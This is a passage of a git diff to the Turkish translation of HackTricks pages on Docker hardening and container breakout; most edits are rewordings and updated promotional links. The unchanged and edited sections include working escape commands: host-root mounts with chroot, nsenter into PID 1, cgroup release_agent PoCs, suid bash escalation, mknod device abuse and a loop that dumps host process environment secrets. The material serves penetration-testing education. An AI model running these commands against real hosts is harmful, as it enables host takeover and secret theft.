şifrelere erişebilir. -**Docker secrets** hassas bilgileri işlemede daha güvenli bir yöntem sunar. Görüntü oluşturma aşamasında şifreler gerektiren durumlar için, **BuildKit** ek özellikler sunarak görüntü oluşturma hızını artırır ve destek sağlayan etkili bir çözüm sunar. +**Docker secrets**, hassas bilgileri ele almak için daha da güvenli bir yöntem sunar. Görüntü oluşturma aşamasında şifreler gerektiren durumlar için, **BuildKit** ek özellikler sunarak görüntü oluşturma hızını artırır ve ek özellikler sağlar. -BuildKit'i kullanmak için üç şekilde etkinleştirilebilir: +BuildKit'ten yararlanmak için üç şekilde etkinleştirilebilir: -1. Bir çevre değişkeni aracılığıyla: `export DOCKER_BUILDKIT=1` +1. Bir çevresel değişken aracılığıyla: `export DOCKER_BUILDKIT=1` 2. Komutlara önek ekleyerek: `DOCKER_BUILDKIT=1 docker build .` -3. Docker yapılandırmasında varsayılan olarak etkinleştirilerek: `{ "features": { "buildkit": true } }`, ardından bir Docker yeniden başlatma işlemi. +3. Docker yapılandırmasında varsayılan olarak etkinleştirilerek: `{ "features": { "buildkit": true } }`, ardından bir Docker yeniden başlatma. -BuildKit, `--secret` seçeneği ile yapı zamanı şifrelerin kullanılmasına olanak tanır, bu sayede bu şifrelerin görüntü oluşturma önbelleğine veya nihai görüntüye dahil edilmediğinden emin olunur, şu şekilde bir komut kullanılarak: +BuildKit, `--secret` seçeneği ile yapı zamanı şifrelerin kullanımına izin verir, bu sayede bu şifrelerin görüntü oluşturma önbelleğine veya nihai görüntüye dahil edilmediğinden emin olunur, şu şekilde bir komut kullanılarak: ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` -Çalışan bir konteyner için gerekli olan sırlar için **Docker Compose ve Kubernetes** sağlam çözümler sunar. Docker Compose, gizli dosyaları belirtmek için hizmet tanımında bir `secrets` anahtarı kullanır. Bu, bir `docker-compose.yml` örneğinde gösterildiği gibi yapılır: +Çalışan bir konteyner için gerekli olan sırlar için **Docker Compose ve Kubernetes**, sağlam çözümler sunar. Docker Compose, gizli dosyaları belirtmek için hizmet tanımında bir `secrets` anahtarı kullanır. Bu, bir `docker-compose.yml` örneğinde gösterildiği gibi: ```yaml version: "3.7" services: @@ -349,29 +349,29 @@ Kubernetes ortamlarında, secrets doğal olarak desteklenir ve [Helm-Secrets](ht ### Kata Containers -**Kata Containers**, konteynerlere benzer şekilde hissedip performans gösteren hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynak topluluğudur, ancak ikinci bir savunma katmanı olarak donanım sanallaştırma teknolojisini kullanarak **daha güçlü iş yükü izolasyonu sağlar**. +**Kata Containers**, konteynerlere benzer şekilde hissedip performans gösteren hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynak bir topluluktur, ancak ikinci bir savunma katmanı olarak donanım sanallaştırma teknolojisini kullanarak **daha güçlü iş yükü izolasyonu sağlar**. {% embed url="https://katacontainers.io/" %} ### Özet İpuçları -* **`--privileged` bayrağını kullanmayın veya konteynerin içine** [**Docker soketi bağlamayın**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına izin verir, bu nedenle örneğin, `--privileged` bayrağı ile başka bir konteyneri çalıştırarak ana bilgisayarın tam kontrolünü ele geçirmek kolaydır. -* **Konteynerin içinde kök olarak çalıştırmayın.** [**Farklı bir kullanıcı**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **ve** [**kullanıcı ad alanları**](https://docs.docker.com/engine/security/userns-remap/)** kullanın.** Konteynerdeki kök, kullanıcı ad alanları ile yeniden eşlenmediği sürece ana bilgisayarla aynıdır. Yalnızca Linux ad alanları, yetenekler ve cgroups tarafından hafifçe kısıtlanmıştır. -* [**Tüm yetenekleri bırakın**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) ve yalnızca gerekenleri etkinleştirin** (`--cap-add=...`). Birçok iş yükü hiçbir yetenek gerektirmez ve bunları eklemek bir saldırı alanının kapsamını artırır. -* [**“no-new-privileges” güvenlik seçeneğini kullanın**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) süid ikili dosyalar aracılığıyla örneğin daha fazla ayrıcalık kazanmalarını önlemek için. +* **`--privileged` bayrağını kullanmayın veya konteyner içine** [**Docker soketi bağlamayın**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına izin verir, bu nedenle örneğin, `--privileged` bayrağı ile başka bir konteyneri çalıştırarak ana bilgisayarın tam kontrolünü ele geçirmek kolaydır. +* **Konteyner içinde kök olarak çalıştırmayın.** [**Farklı bir kullanıcı**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **ve** [**kullanıcı ad alanları**](https://docs.docker.com/engine/security/userns-remap/)** kullanın.** Konteynerdeki kök, kullanıcı ad alanları ile yeniden eşlenmediği sürece ana bilgisayarla aynıdır. Yalnızca Linux ad alanları, yetenekler ve cgroups tarafından hafifçe kısıtlanır. +* [**Tüm yetenekleri bırakın**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) ve yalnızca gerekenleri etkinleştirin** (`--cap-add=...`). Birçok iş yükü hiçbir yetenek gerektirmez ve bunları eklemek bir saldırı kapsamını artırır. +* [**"no-new-privileges" güvenlik seçeneğini kullanın**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) süid ikili dosyalar aracılığıyla örneğin daha fazla ayrıcalık kazanmalarını önlemek için. * [**Konteynere sağlanan kaynakları sınırlayın**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Kaynak sınırları, makinenin hizmet reddi saldırılarından korunmasına yardımcı olabilir. -* **[Seccomp](https://docs.docker.com/engine/security/seccomp/)**, **[AppArmor](https://docs.docker.com/engine/security/apparmor/)** **(veya SELinux)** profillerini ayarlayarak konteyner için kullanılabilir eylemleri ve sistem çağrılarını minimuma indirin. -* **[Resmi docker imajlarını](https://docs.docker.com/docker-hub/official\_images/) kullanın ve imzaları gerektirin** veya bunlara dayalı kendi imajlarınızı oluşturun. Geriye dönük imajlar miras almayın veya kullanmayın. Ayrıca kök anahtarları, parola güvenli bir yerde saklayın. Docker, UCP ile anahtarları yönetme planları yapmaktadır. -* **Güvenlik yamalarını uygulamak için düzenli olarak** **imajlarınızı yeniden oluşturun.** +* **[Seccomp](https://docs.docker.com/engine/security/seccomp/)**, [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(veya SELinux)** profillerini ayarlayarak konteyner için kullanılabilir eylemleri ve sistem çağrılarını minimuma indirin. +* **[Resmi docker görüntülerini](https://docs.docker.com/docker-hub/official\_images/) kullanın ve imzaları gerektirin** veya bunlara dayalı kendi görüntülerinizi oluşturun. Geriye dönük görüntülerden miras almayın veya kullanmayın. Ayrıca kök anahtarları, parola güvenli bir yerde saklayın. Docker, anahtarları UCP ile yönetme planları yapmaktadır. +* **Güvenlik yamalarını uygulamak için düzenli olarak** **görüntülerinizi yeniden oluşturun.** * **Secret'ları akıllıca yönetin** böylece saldırganın bunlara erişmesi zor olur. -* Docker daemon'ı **HTTPS ile açıklarsanız**, istemci ve sunucu kimlik doğrulaması yapın. -* Dockerfile'ınızda **ADD yerine COPY'yi tercih edin**. ADD otomatik olarak sıkıştırılmış dosyaları çıkarır ve dosyaları URL'lerden kopyalayabilir. COPY bu yeteneklere sahip değildir. Mümkün olduğunca ADD kullanmaktan kaçının, böylece uzak URL'ler ve Zip dosyaları aracılığıyla yapılan saldırılara karşı savunmasız olmazsınız. +* Docker daemon'ı **açıklarsanız HTTPS** kullanın ve istemci ve sunucu kimlik doğrulaması yapın. +* Docker dosyanızda **ADD yerine COPY'yi tercih edin**. ADD otomatik olarak sıkıştırılmış dosyaları çıkarır ve dosyaları URL'lerden kopyalayabilir. COPY bu yeteneklere sahip değildir. Mümkün olduğunca ADD kullanmaktan kaçının, böylece uzak URL'ler ve Zip dosyaları aracılığıyla yapılan saldırılara karşı savunmasız olmazsınız. * **Her mikro hizmet için ayrı konteynerler kullanın** -* **Konteyner imajlarını daha küçük yapın** +* **Konteyner görüntülerini daha küçük yapın** ## Docker Kaçışı / Ayrıcalık Yükseltme -Eğer **bir docker konteynerinin içindeyseniz** veya **docker grubunda bir kullanıcıya erişiminiz varsa**, **kaçmaya ve ayrıcalıkları yükseltmeye** çalışabilirsiniz: +Eğer **bir Docker konteynerinin içindeyseniz** veya **docker grubunda bir kullanıcıya erişiminiz varsa**, **kaçmaya ve ayrıcalıkları yükseltmeye** çalışabilirsiniz: {% content-ref url="docker-breakout-privilege-escalation/" %} [docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/) @@ -379,7 +379,7 @@ Eğer **bir docker konteynerinin içindeyseniz** veya **docker grubunda bir kull ## Docker Kimlik Doğrulama Eklentisi Atlatma -Eğer docker soketine erişiminiz varsa veya **docker grubunda bir kullanıcıya erişiminiz varsa ancak eylemleriniz bir docker kimlik doğrulama eklentisi tarafından sınırlanıyorsa**, **bunu atlayıp atlayamayacağınızı kontrol edin:** +Eğer docker soketine erişiminiz varsa veya **docker grubunda bir kullanıcıya erişiminiz varsa ancak eylemleriniz bir docker kimlik doğrulama eklentisi tarafından sınırlanıyorsa**, bunu **atlayıp atlayamayacağınızı kontrol edin:** {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) @@ -409,18 +409,18 @@ Araç, Docker çalıştıran ana bilgisayardan veya yeterli ayrıcalıklara sahi
\ -Dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturmak ve otomatikleştirmek için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve **otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin! HackTricks'i desteklemenin diğer yolları: * Eğer **şirketinizin HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubumuza**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** adresinden takip edin.** +* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index 116a3c202..2f69987d0 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -2,14 +2,14 @@
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! +AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! -HackTricks'ı desteklemenin diğer yolları: +HackTricks'i desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 **Discord grubuna** katılın](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **bizi** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
@@ -17,22 +17,22 @@ HackTricks'ı desteklemenin diğer yolları:
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} ## Otomatik Numaralandırma ve Kaçış * [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Ayrıca **konteynerleri numaralandırabilir** * [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Bu araç, içinde bulunduğunuz konteyneri numaralandırmak için oldukça **yararlıdır ve hatta otomatik olarak kaçmaya çalışır** -* [**amicontained**](https://github.com/genuinetools/amicontained): Konteynerin sahip olduğu ayrıcalıkları almak için kullanışlı bir araç, kaçış yollarını bulmak için +* [**amicontained**](https://github.com/genuinetools/amicontained): Konteynerin sahip olduğu ayrıcalıkları almak için kullanışlı bir araç, bundan kaçış yollarını bulmak için * [**deepce**](https://github.com/stealthcopter/deepce): Konteynerlerden numaralandırmak ve kaçmak için araç * [**grype**](https://github.com/anchore/grype): Görüntüye yüklenen yazılımda bulunan CVE'leri alın -## Bağlanmış Docker Soket Kaçışı +## Bağlanmış Docker Soketinden Kaçış -Eğer bir şekilde **docker soketinin** docker konteyneri içine bağlandığını bulursanız, bundan kaçabilirsiniz.\ +Eğer **bir şekilde docker soketinin** docker konteyneri içine bağlandığını bulursanız, bundan kaçabilirsiniz.\ Bu genellikle, bir nedenle docker işlemlerini gerçekleştirmek için docker daemonına bağlanması gereken docker konteynerlerinde meydana gelir. ```bash #Search the socket @@ -54,13 +54,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash ``` {% hint style="info" %} -Eğer **docker soketi beklenmedik bir konumdaysa**, yine de **`docker`** komutunu **`-H unix:///path/to/docker.sock`** parametresiyle kullanarak onunla iletişim kurabilirsiniz. +Eğer **docker soketi beklenmedik bir konumdaysa**, yine de **`docker`** komutunu **`-H unix:///path/to/docker.sock`** parametresi ile kullanarak onunla iletişim kurabilirsiniz. {% endhint %} -Docker daemon ayrıca bir portta da dinleyebilir (varsayılan olarak 2375, 2376) veya Systemd tabanlı sistemlerde Docker daemon ile iletişim Systemd soketi `fd://` üzerinden gerçekleşebilir. +Docker daemon ayrıca bir portta da dinlenebilir (varsayılan olarak 2375, 2376) veya Systemd tabanlı sistemlerde Docker daemon ile iletişim Systemd soketi `fd://` üzerinden gerçekleşebilir. {% hint style="info" %} -Ayrıca, diğer yüksek seviye çalışma zamanlarının çalışma zamanı soketlerine dikkat edin: +Ayrıca, diğer yüksek seviye çalışma zamanlarının çalışma soketlerine dikkat edin: * dockershim: `unix:///var/run/dockershim.sock` * containerd: `unix:///run/containerd/containerd.sock` @@ -78,7 +78,7 @@ Konteynerin yeteneklerini kontrol etmelisiniz, eğer aşağıdaki yeteneklerden ```bash capsh --print ``` -Aşağıdaki sayfada **linux yetenekleri** hakkında daha fazla bilgi edinebilir ve bunları kötüye kullanarak ayrıcalıklardan kaçabilir/yalnızlaştırabilirsiniz: +Aşağıdaki sayfada **linux yetenekleri** hakkında daha fazla bilgi edinebilir ve bunları kötüye kullanarak ayrıcalıklardan kaçınabilir/aitalabilirsiniz: {% content-ref url="../../linux-capabilities.md" %} [linux-capabilities.md](../../linux-capabilities.md) @@ -98,23 +98,23 @@ Ayrıcalıklı bir konteyner, `--privileged` bayrağı eklenerek veya belirli sa * `--cgroupns=host` * `/dev` bağlama -`--privileged` bayrağı konteyner güvenliğini önemli ölçüde düşürür, **sınırsız cihaz erişimi** sunar ve **birçok korumayı atlar**. Detaylı bir açıklama için `--privileged`'ın tam etkileri hakkındaki belgelendirmeye başvurun. +`--privileged` bayrağı konteyner güvenliğini önemli ölçüde düşürür, **sınırsız cihaz erişimi** sunar ve **birçok korumayı atlar**. Detaylı bir açıklama için, `--privileged`'ın tam etkileri hakkındaki belgelendirmeye başvurun. {% content-ref url="../docker-privileged.md" %} [docker-privileged.md](../docker-privileged.md) {% endcontent-ref %} -### Privileged + hostPID +### Ayrıcalıklı + hostPID -Bu izinlerle sadece **kök olarak çalışan bir işlem alanına geçebilirsiniz** örneğin init (pid:1) gibi sadece şunu çalıştırarak: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` +Bu izinlerle, sadece şu komutu çalıştırarak (pid:1) gibi kök olarak çalışan bir işlem olan init'in ad alanına geçebilirsiniz: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` -Bunu bir konteynerde test etmek için şunu çalıştırın: +Bunu bir konteynerde test ederek çalıştırın: ```bash docker run --rm -it --pid=host --privileged ubuntu bash ``` ### Ayrıcalıklı -Sadece ayrıcalıklı bayrağı ile **ana bilgisayarın diskinde erişmeyi** veya **release\_agent veya diğer kaçışları kötüye kullanarak kaçmayı** deneyebilirsiniz. +Sadece ayrıcalıklı bayrağı ile **ana bilgisayarın diskinde erişmeyi** veya **release\_agent veya diğer kaçışları kötüye kullanmayı deneyebilirsiniz**. Aşağıdaki atlatmaları bir konteynerde çalıştırarak test edin: ```bash @@ -122,7 +122,7 @@ docker run --rm -it --privileged ubuntu bash ``` #### Diski Bağlama - Poc1 -İyi yapılandırılmış docker konteynerleri **fdisk -l** gibi komutlara izin vermez. Ancak yanlış yapılandırılmış bir docker komutunda `--privileged` veya `--device=/dev/sda1` bayrağı büyük harflerle belirtildiğinde, ana sürücüyü görmek için ayrıcalıkları elde etmek mümkündür. +İyi yapılandırılmış docker konteynerleri **fdisk -l** gibi komutlara izin vermez. Ancak yanlış yapılandırılmış bir docker komutunda `--privileged` veya `--device=/dev/sda1` bayrağı belirtildiğinde, ana sürücüyü görmek için ayrıcalıklara sahip olmak mümkündür. ![](https://bestestredteam.com/content/images/2019/08/image-16.png) @@ -135,7 +135,7 @@ Ve işte! Artık ana bilgisayarın dosya sistemine `/mnt/hola` klasöründe bağ #### Disk Bağlama - Poc2 -Kapsayıcı içinde, bir saldırgan kümenin oluşturduğu yazılabilir hostPath birimini kullanarak altta yatan ana bilgisayar işletim sistemine daha fazla erişim elde etmeye çalışabilir. Aşağıda, bu saldırgan vektörünü kullanarak kontrol edebileceğiniz yaygın bazı şeyler bulunmaktadır. +Kapsayıcı içinde, bir saldırgan kümenin oluşturduğu yazılabilir hostPath birimine erişmeye çalışabilir ve bu yolla altta yatan ana bilgisayara erişmeye çalışabilir. Aşağıda, bu saldırgan vektörünü kullanarak kontrol edebileceğiniz yaygın bazı şeyler bulunmaktadır: ```bash ### Check if You Can Write to a File-system echo 1 > /proc/sysrq-trigger @@ -192,11 +192,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1 # Reads the output cat /o ``` -{% endcode %} - #### Oluşturulan release_agent'i Kullanarak Ayrıcalıklı Kaçış ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 - -{% code title="İkinci PoC" %} ```bash # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash @@ -240,18 +236,18 @@ cat /output ``` {% endcode %} -Teknik açıklamasını bulun: +**Teknik açıklamanın** bulunduğu yere bakın: {% content-ref url="docker-release_agent-cgroups-escape.md" %} [docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md) {% endcontent-ref %} -#### Bilinen yol olmadan release\_agent'i kötüye kullanarak ayrıcalıklı kaçış - PoC3 +#### Bilinen göreceli yol olmadan release\_agent'i kötüye kullanarak Yetkilendirilmiş Kaçış - PoC3 -Önceki saldırılarda **konumunun kesin yolu** ifşa edilmiştir. Bununla birlikte, bu her zaman geçerli değildir. **Ana bilgisayar içinde konteynerin kesin yolunu bilmediğiniz durumlarda** bu tekniği kullanabilirsiniz: +Önceki saldırılarda **konumun mutlak yolu** açıklanmıştır. Bununla birlikte, bu her zaman geçerli değildir. **Ana bilgisayar içinde konteynerin mutlak yolunu bilmediğiniz durumlarda** bu tekniği kullanabilirsiniz: {% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %} -[release\_agent-exploit-relative-paths-to-pids.md](release_agent-exploit-relative-paths-to-pids.md) +[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md) {% endcontent-ref %} ```bash #!/bin/sh @@ -342,16 +338,16 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ``` #### Ayrıcalıklı Kaçış Hassas Bağlantıları Kötüye Kullanma -Altta yatan ana bilgisayar hakkında bilgi veren **çeşitli dosyalar** bağlanabilir. Bazıları, hatta **ana bilgisayar tarafından bir şeyin gerçekleştiğinde yürütülmesi gerektiğini belirtebilir** (bu da bir saldırganın konteynerden kaçmasına izin verebilir).\ -Bu dosyaların kötüye kullanımı şunu mümkün kılar: +Altta yatan ana bilgisayar hakkında bilgi veren **bazı dosyaların bağlanmış olabileceği** birkaç dosya bulunmaktadır. Bazıları, hatta **ana bilgisayar tarafından bir şeyler gerçekleştiğinde yürütülecek bir şeyi işaret edebilir** (bu da bir saldırganın konteynerden kaçmasına izin verebilir).\ +Bu dosyaların kötüye kullanımı şunlara neden olabilir: -* release\_agent (zaten önce ele alındı) +* release\_agent (önceden ele alındı) * [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc) * [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern) * [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper) * [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) -Ancak, bu sayfada kontrol etmek için **diğer hassas dosyaları** bulabilirsiniz: +Ancak, bu sayfada kontrol etmek için **başka hassas dosyalar** bulabilirsiniz: {% content-ref url="sensitive-mounts.md" %} [sensitive-mounts.md](sensitive-mounts.md) @@ -359,14 +355,14 @@ Ancak, bu sayfada kontrol etmek için **diğer hassas dosyaları** bulabilirsini ### Keyfi Bağlantılar -Birkaç durumda, **konteynerin ana bilgisayardan birim bağlandığını** göreceksiniz. Bu birim doğru yapılandırılmamışsa, **duyarlı verilere erişebilir/değiştirebilirsiniz**: Gizli bilgileri okuyun, ssh authorized\_keys dosyasını değiştirin... +Birkaç durumda, **konteynerin ana bilgisayardan birim bağlandığını** göreceksiniz. Bu birim doğru şekilde yapılandırılmamışsa, **duyarlı verilere erişebilir/değiştirebilirsiniz**: Gizli bilgileri okuyun, ssh authorized\_keys dosyasını değiştirin... ```bash docker run --rm -it -v /:/host ubuntu bash ``` -### 2 kabuk ve ana bilgisayar bağlama ile ayrıcalık yükseltme +### 2 kabuk ve ana makine bağlantısı ile Yetki Yükseltme -Eğer **ana bilgisayar tarafından bağlanmış bir klasöre sahip bir konteyner içinde root erişiminiz** varsa ve **ana bilgisayarda ayrıcalıklı olmayan bir kullanıcı olarak kaçmayı başardıysanız** ve bağlanmış klasör üzerinde okuma erişiminiz varsa.\ -**Konteyner** içinde **bağlanmış klasörde** bir **bash suid dosyası** oluşturabilir ve **ana bilgisayardan** bunu çalıştırarak ayrıcalık yükseltebilirsiniz. +Eğer **ana makineden bağlanmış bir klasöre sahip bir konteyner içinde root erişiminiz** varsa ve **ana makinede ayrıcalıklı olmayan bir kullanıcı olarak kaçmayı başardıysanız** ve bağlanmış klasöre okuma erişiminiz varsa.\ +**Konteyner** içinde **bağlanmış klasöre** bir **bash suid dosyası** oluşturabilir ve **bu dosyayı ana makineden çalıştırarak** ayrıcalık yükseltebilirsiniz. ```bash cp /bin/bash . #From non priv inside mounted folder # You need to copy it from the host as the bash binaries might be diferent in the host and in the container @@ -376,11 +372,12 @@ bash -p #From non priv inside mounted folder ``` ### 2 kabuk ile Yetki Yükseltme -Eğer bir konteyner içinde **root erişiminiz varsa** ve **özne olmayan bir kullanıcı olarak ana makineye kaçmayı başardıysanız**, konteyner içinde MKNOD yeteneğine sahipseniz (varsayılan olarak vardır), her iki kabuğu da kötüye kullanarak **ana makinede yetki yükseltebilirsiniz**. Bu yeteneğe sahip olmanız durumunda, konteyner içindeki root kullanıcısına **blok cihaz dosyaları oluşturma izni** verilir. Cihaz dosyaları, **altta yatan donanıma ve çekirdek modüllerine erişmek** için kullanılan özel dosyalardır. Örneğin, /dev/sda blok cihaz dosyası, **sistem diskindeki ham verileri okuma** izni verir. +Eğer bir konteyner içinde **root erişiminiz** varsa ve **imtiyazsız bir kullanıcı olarak ana makineye kaçtıysanız**, konteyner içinde MKNOD yeteneğiniz varsa (varsayılan olarak vardır) ve [bu yazıda açıklandığı gibi](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/), her iki kabuğu da kötüye kullanarak ana makinede **yetki yükseltebilirsiniz**.\ +Bu yetenekle, konteyner içindeki root kullanıcısına **blok cihaz dosyaları oluşturma** izni verilir. Cihaz dosyaları, **altta yatan donanıma ve çekirdek modüllerine erişmek** için kullanılan özel dosyalardır. Örneğin, /dev/sda blok cihaz dosyası, **sistem diskindeki ham verileri okumaya** izin verir. -Docker, konteynerler içinde blok cihazlarının yanlış kullanımına karşı koruma sağlamak için **blok cihazı okuma/yazma işlemlerini engelleyen** bir cgroup politikası uygular. Bununla birlikte, bir blok cihazı **konteyner içinde oluşturulursa**, dışarıdan **/proc/PID/root/** dizini aracılığıyla erişilebilir hale gelir. Bu erişim, **işlem sahibinin hem içeride hem de dışarıda aynı olması** gerektirir. +Docker, konteynerler içinde blok cihazlarının yanlış kullanımına karşı koruma sağlar, blok cihazı okuma/yazma işlemlerini **engelleyen bir cgroup politikası uygular**. Bununla birlikte, bir blok cihazı **konteyner içinde oluşturulursa**, dışarıdan **/proc/PID/root/** dizini aracılığıyla erişilebilir hale gelir. Bu erişim, iç ve dış konteynerdeki **işlem sahibinin aynı olmasını** gerektirir. -Bu [**yazıda**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames) verilen **sömürü** örneği: +Bu [**yazıda**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/) verilen **sömürü** örneği: ```bash # On the container as root cd / @@ -424,7 +421,7 @@ docker run --rm -it --pid=host ubuntu bash ``` Örneğin, `ps auxn` gibi bir şey kullanarak süreçleri listeleyebilecek ve komutlardaki hassas detayları arayabileceksiniz. -Ardından, **/proc/ içindeki ana bilgisayarın her sürecine erişebileceğiniz için sadece çevre sırlarını çalabilirsiniz** çalıştırarak: +Ardından, **/proc/ içindeki ana bilgisayarın her bir sürecine erişebileceğiniz için sadece çevre sırlarını çalabilirsiniz** çalıştırarak: ```bash for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done /proc/988058/environ @@ -443,35 +440,35 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp # You can open the secret filw with: cat /proc/635813/fd/4 ``` -Ayrıca **işlemleri sonlandırabilir ve Bir Hizmet Reddi (DoS) saldırısına neden olabilirsiniz**. +Ayrıca **işlemleri sonlandırabilir ve bir 